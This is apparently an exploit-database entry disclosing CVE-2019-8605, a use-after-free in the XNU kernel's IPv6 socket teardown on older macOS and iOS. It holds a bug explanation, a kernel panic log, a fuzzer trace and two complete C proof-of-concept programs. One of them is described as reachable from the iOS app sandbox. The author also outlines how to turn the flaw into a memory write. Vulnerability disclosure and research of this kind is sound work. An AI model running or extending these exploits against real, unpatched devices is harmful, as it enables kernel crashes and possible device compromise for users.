macOS < 10.14.5 / iOS < 12.3 XNU - 'in6_pcbdetach' Stale Pointer Use-After-Free

2019-05-21 18:05:15

# Reproduction
Repros on 10.14.3 when run as root. It may need multiple tries to trigger.
$ clang -o in6_selectsrc in6_selectsrc.cc
$ while 1; do sudo ./in6_selectsrc; done
res0: 3
res1: 0
res1.5: -1 // failure expected here
res2: 0
done
...
[crash]

# Explanation
The following snippet is taken from in6_pcbdetach:
```
void
in6_pcbdetach(struct inpcb *inp)
{
// ...
if (!(so->so_flags & SOF_PCBCLEARING)) {
struct ip_moptions *imo;
struct ip6_moptions *im6o;

inp->inp_vflag = 0;
if (inp->in6p_options != NULL) {
m_freem(inp->in6p_options);
inp->in6p_options = NULL; // <- good
}
ip6_freepcbopts(inp->in6p_outputopts); // <- bad
ROUTE_RELEASE(&inp->in6p_route);
// free IPv4 related resources in case of mapped addr
if (inp->inp_options != NULL) {
(void) m_free(inp->inp_options); // <- good
inp->inp_options = NULL;
}
```

Notice that freed options must also be cleared so they are not accidentally reused.
This can happen when a socket is disconnected and reconnected without being destroyed.
In the inp->in6p_outputopts case, the options are freed but not cleared, so they can be
used after they are freed.

This specific PoC requires root because I use raw sockets, but it's possible other socket
types suffer from this same vulnerability.

# Crash Log
panic(cpu 4 caller 0xffffff8015cda29d): Kernel trap at 0xffffff8016011764, type 13=general protection, registers:
CR0: 0x0000000080010033, CR2: 0x00007f9ae1801000, CR3: 0x000000069fc5f111, CR4: 0x00000000003626e0
RAX: 0x0000000000000001, RBX: 0xdeadbeefdeadbeef, RCX: 0x0000000000000000, RDX: 0x0000000000000000
RSP: 0xffffffa3ffa5bd30, RBP: 0xffffffa3ffa5bdc0, RSI: 0x0000000000000000, RDI: 0x0000000000000001
R8: 0x0000000000000000, R9: 0xffffffa3ffa5bde0, R10: 0xffffff801664de20, R11: 0x0000000000000000
R12: 0x0000000000000000, R13: 0xffffff80719b7940, R14: 0xffffff8067fdc660, R15: 0x0000000000000000
RFL: 0x0000000000010282, RIP: 0xffffff8016011764, CS: 0x0000000000000008, SS: 0x0000000000000010
Fault CR2: 0x00007f9ae1801000, Error code: 0x0000000000000000, Fault CPU: 0x4, PL: 0, VF: 0

Backtrace (CPU 4), Frame : Return Address
0xffffff801594e290 : 0xffffff8015baeb0d mach_kernel : _handle_debugger_trap + 0x48d
0xffffff801594e2e0 : 0xffffff8015ce8653 mach_kernel : _kdp_i386_trap + 0x153
0xffffff801594e320 : 0xffffff8015cda07a mach_kernel : _kernel_trap + 0x4fa
0xffffff801594e390 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0
0xffffff801594e3b0 : 0xffffff8015bae527 mach_kernel : _panic_trap_to_debugger + 0x197
0xffffff801594e4d0 : 0xffffff8015bae373 mach_kernel : _panic + 0x63
0xffffff801594e540 : 0xffffff8015cda29d mach_kernel : _kernel_trap + 0x71d
0xffffff801594e6b0 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0
0xffffff801594e6d0 : 0xffffff8016011764 mach_kernel : _in6_selectsrc + 0x114
0xffffffa3ffa5bdc0 : 0xffffff8016043015 mach_kernel : _nd6_setdefaultiface + 0xd75
0xffffffa3ffa5be20 : 0xffffff8016120274 mach_kernel : _soconnectlock + 0x284
0xffffffa3ffa5be60 : 0xffffff80161317bf mach_kernel : _connect_nocancel + 0x20f
0xffffffa3ffa5bf40 : 0xffffff80161b62bb mach_kernel : _unix_syscall64 + 0x26b
0xffffffa3ffa5bfa0 : 0xffffff8015b5c466 mach_kernel : _hndl_unix_scall64 + 0x16

BSD process name corresponding to current thread: in6_selectsrc
Boot args: keepsyms=1 -v=1

Mac OS version:
18D109


#include <stdio.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>
#include <net/if.h>
#include <string.h>
#include <netinet/in.h>
#include <errno.h>

/*
# Reproduction
Repros on 10.14.3 when run as root. It may need multiple tries to trigger.
$ clang -o in6_selectsrc in6_selectsrc.cc
$ while 1; do sudo ./in6_selectsrc; done
res0: 3
res1: 0
res1.5: -1 // failure expected here
res2: 0
done
...
[crash]

# Explanation
The following snippet is taken from in6_pcbdetach:
```
void
in6_pcbdetach(struct inpcb *inp)
{
// ...
if (!(so->so_flags & SOF_PCBCLEARING)) {
struct ip_moptions *imo;
struct ip6_moptions *im6o;

inp->inp_vflag = 0;
if (inp->in6p_options != NULL) {
m_freem(inp->in6p_options);
inp->in6p_options = NULL; // <- good
}
ip6_freepcbopts(inp->in6p_outputopts); // <- bad
ROUTE_RELEASE(&inp->in6p_route);
// free IPv4 related resources in case of mapped addr
if (inp->inp_options != NULL) {
(void) m_free(inp->inp_options); // <- good
inp->inp_options = NULL;
}
```

Notice that freed options must also be cleared so they are not accidentally reused.
This can happen when a socket is disconnected and reconnected without being destroyed.
In the inp->in6p_outputopts case, the options are freed but not cleared, so they can be
used after they are freed.

This specific PoC requires root because I use raw sockets, but it's possible other socket
types suffer from this same vulnerability.

# Crash Log
panic(cpu 4 caller 0xffffff8015cda29d): Kernel trap at 0xffffff8016011764, type 13=general protection, registers:
CR0: 0x0000000080010033, CR2: 0x00007f9ae1801000, CR3: 0x000000069fc5f111, CR4: 0x00000000003626e0
RAX: 0x0000000000000001, RBX: 0xdeadbeefdeadbeef, RCX: 0x0000000000000000, RDX: 0x0000000000000000
RSP: 0xffffffa3ffa5bd30, RBP: 0xffffffa3ffa5bdc0, RSI: 0x0000000000000000, RDI: 0x0000000000000001
R8: 0x0000000000000000, R9: 0xffffffa3ffa5bde0, R10: 0xffffff801664de20, R11: 0x0000000000000000
R12: 0x0000000000000000, R13: 0xffffff80719b7940, R14: 0xffffff8067fdc660, R15: 0x0000000000000000
RFL: 0x0000000000010282, RIP: 0xffffff8016011764, CS: 0x0000000000000008, SS: 0x0000000000000010
Fault CR2: 0x00007f9ae1801000, Error code: 0x0000000000000000, Fault CPU: 0x4, PL: 0, VF: 0

Backtrace (CPU 4), Frame : Return Address
0xffffff801594e290 : 0xffffff8015baeb0d mach_kernel : _handle_debugger_trap + 0x48d
0xffffff801594e2e0 : 0xffffff8015ce8653 mach_kernel : _kdp_i386_trap + 0x153
0xffffff801594e320 : 0xffffff8015cda07a mach_kernel : _kernel_trap + 0x4fa
0xffffff801594e390 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0
0xffffff801594e3b0 : 0xffffff8015bae527 mach_kernel : _panic_trap_to_debugger + 0x197
0xffffff801594e4d0 : 0xffffff8015bae373 mach_kernel : _panic + 0x63
0xffffff801594e540 : 0xffffff8015cda29d mach_kernel : _kernel_trap + 0x71d
0xffffff801594e6b0 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0
0xffffff801594e6d0 : 0xffffff8016011764 mach_kernel : _in6_selectsrc + 0x114
0xffffffa3ffa5bdc0 : 0xffffff8016043015 mach_kernel : _nd6_setdefaultiface + 0xd75
0xffffffa3ffa5be20 : 0xffffff8016120274 mach_kernel : _soconnectlock + 0x284
0xffffffa3ffa5be60 : 0xffffff80161317bf mach_kernel : _connect_nocancel + 0x20f
0xffffffa3ffa5bf40 : 0xffffff80161b62bb mach_kernel : _unix_syscall64 + 0x26b
0xffffffa3ffa5bfa0 : 0xffffff8015b5c466 mach_kernel : _hndl_unix_scall64 + 0x16

BSD process name corresponding to current thread: in6_selectsrc
Boot args: keepsyms=1 -v=1

Mac OS version:
18D109
*/

#define IPPROTO_IP 0

#define IN6_ADDR_ANY { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }
#define IN6_ADDR_LOOPBACK { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 }

int main() {
int s = socket(AF_INET6, SOCK_RAW, IPPROTO_IP);
printf("res0: %d\n", s);
struct sockaddr_in6 sa1 = {
.sin6_len = sizeof(struct sockaddr_in6),
.sin6_family = AF_INET6,
.sin6_port = 65000,
.sin6_flowinfo = 3,
.sin6_addr = IN6_ADDR_LOOPBACK,
.sin6_scope_id = 0,
};
struct sockaddr_in6 sa2 = {
.sin6_len = sizeof(struct sockaddr_in6),
.sin6_family = AF_INET6,
.sin6_port = 65001,
.sin6_flowinfo = 3,
.sin6_addr = IN6_ADDR_ANY,
.sin6_scope_id = 0,
};

int res = connect(s, (const sockaddr*)&sa1, sizeof(sa1));
printf("res1: %d\n", res);

unsigned char buffer[4] = {};
res = setsockopt(s, 41, 50, buffer, sizeof(buffer));
printf("res1.5: %d\n", res);

res = connect(s, (const sockaddr*)&sa2, sizeof(sa2));
printf("res2: %d\n", res);

close(s);
printf("done\n");
}


ClusterFuzz found the following crash, which indicates that TCP sockets may be affected as well.

==16571==ERROR: AddressSanitizer: heap-use-after-free on address 0x610000000c50 at pc 0x7f15a39744c0 bp 0x7ffd72521250 sp 0x7ffd72521248
READ of size 8 at 0x610000000c50 thread T0
SCARINESS: 51 (8-byte-read-heap-use-after-free)
#0 0x7f15a39744bf in ip6_getpcbopt /src/bsd/netinet6/ip6_output.c:3140:25
#1 0x7f15a3970cb2 in ip6_ctloutput /src/bsd/netinet6/ip6_output.c:2924:13
#2 0x7f15a389e3ac in tcp_ctloutput /src/bsd/netinet/tcp_usrreq.c:1906:12
#3 0x7f15a344680c in sogetoptlock /src/bsd/kern/uipc_socket.c:5512:12
#4 0x7f15a346ea86 in getsockopt /src/bsd/kern/uipc_syscalls.c:2517:10

0x610000000c50 is located 16 bytes inside of 192-byte region [0x610000000c40,0x610000000d00)
freed by thread T0 here:
#0 0x497a3d in free _asan_rtl_:3
#1 0x7f15a392329d in in6_pcbdetach /src/bsd/netinet6/in6_pcb.c:681:3
#2 0x7f15a38733c7 in tcp_close /src/bsd/netinet/tcp_subr.c:1591:3
#3 0x7f15a3898159 in tcp_usr_disconnect /src/bsd/netinet/tcp_usrreq.c:743:7
#4 0x7f15a34323df in sodisconnectxlocked /src/bsd/kern/uipc_socket.c:1821:10
#5 0x7f15a34324c5 in sodisconnectx /src/bsd/kern/uipc_socket.c:1839:10
#6 0x7f15a34643e8 in disconnectx_nocancel /src/bsd/kern/uipc_syscalls.c:1136:10

previously allocated by thread T0 here:
#0 0x497cbd in __interceptor_malloc _asan_rtl_:3
#1 0x7f15a3a28f28 in __MALLOC /src/fuzzing/zalloc.c:63:10
#2 0x7f15a3973cf5 in ip6_pcbopt /src/bsd/netinet6/ip6_output.c:3116:9
#3 0x7f15a397193b in ip6_ctloutput /src/bsd/netinet6/ip6_output.c:2637:13
#4 0x7f15a389e3ac in tcp_ctloutput /src/bsd/netinet/tcp_usrreq.c:1906:12
#5 0x7f15a3440614 in sosetoptlock /src/bsd/kern/uipc_socket.c:4808:12
#6 0x7f15a346e45c in setsockopt /src/bsd/kern/uipc_syscalls.c:2461:10


#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>

/*
TCP-based reproducer for CVE-2019-8605
This has the benefit of being reachable from the app sandbox on iOS 12.2.
*/

#define IPV6_3542PKTINFO 46

int main() {
int s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
printf("res0: %d\n", s);

unsigned char buffer[1] = {'\xaa'};
int res = setsockopt(s, IPPROTO_IPV6, IPV6_3542PKTINFO, buffer, sizeof(buffer));
printf("res1: %d\n", res);

res = disconnectx(s, 0, 0);
printf("res2: %d\n", res);

socklen_t buffer_len = sizeof(buffer);
res = getsockopt(s, IPPROTO_IPV6, IPV6_3542PKTINFO, buffer, &buffer_len);
printf("res3: %d\n", res);
printf("got %d\n", buffer[0]);

close(s);
printf("done\n");
}


It seems that this TCP testcase I've posted works nicely for UaF reads, but getting a write isn't straightforward because calling disconnectx explicitly makes subsequent setsockopt and connect/bind/accept/etc. calls fail because the socket is marked as disconnected.

But there is still hope. PR_CONNREQUIRED is marked for TCP6, which means we may be able to connect twice (forcing a disconnect during the second connection) using the same TCP6 socket and have a similar situation to the original crash.

Fixes

No fixes

In order to submit a new fix you need to be registered.